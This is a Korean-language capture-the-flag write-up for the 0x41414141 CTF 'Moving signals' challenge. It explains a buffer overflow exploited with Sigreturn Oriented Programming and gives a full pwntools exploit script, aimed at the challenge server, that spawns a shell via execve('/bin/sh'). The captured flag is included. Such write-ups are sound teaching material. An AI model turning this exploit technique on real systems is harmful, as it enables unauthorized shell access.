-
[0x41414141 CTF] Moving signalsCTF/WRITEUP 2021. 2. 2. 17:34
Disassembly 디스어셈블리
주어진 바이너리는 짧은 명령어들로 구성되어 있다. 'pop rax; ret'과 'syscall'이 눈에 띈다.
"/bin/sh" 문자열이 바이너리 상에 존재한다.
Sigreturn Oriented Programming
버퍼 오버플로우가 발생하고 rax를 제어할 수 있으므로 원하는 syscall을 호출할 수 있다. sigreturn을 통해 레지스터의 값을 조작해서 execve("/bin/sh", 0, 0)을 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./moving-signals" server = "185.172.165.118" port = 2525 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF("./moving-signals") r = ROP(e) e.checksec() prax = (r.find_gadget(['pop rax', 'ret']))[0] syscall = (r.find_gadget(['syscall']))[0] binsh = 0x41250 payload = b"A"*0x8 payload += p64(prax) payload += p64(0xf) payload += p64(syscall) s = SigreturnFrame(arch="amd64") s.rax = constants.SYS_execve s.rdi = binsh s.rsi = 0 s.rdx = 0 s.rip = syscall payload += bytes(s) p.send(payload) p.interactive()
Flag
flag{s1gROPp1ty_r0p_321321}
'CTF > WRITEUP' 카테고리의 다른 글
[0x41414141 CTF] Babyheap (0) 2021.02.03 [0x41414141 CTF] Faking till you're Making (0) 2021.02.02 [0x41414141 CTF] echo (0) 2021.02.02 [0x41414141 CTF] Return Of The ROPs (0) 2021.02.02 [0x41414141 CTF] The Pwn Inn (0) 2021.01.30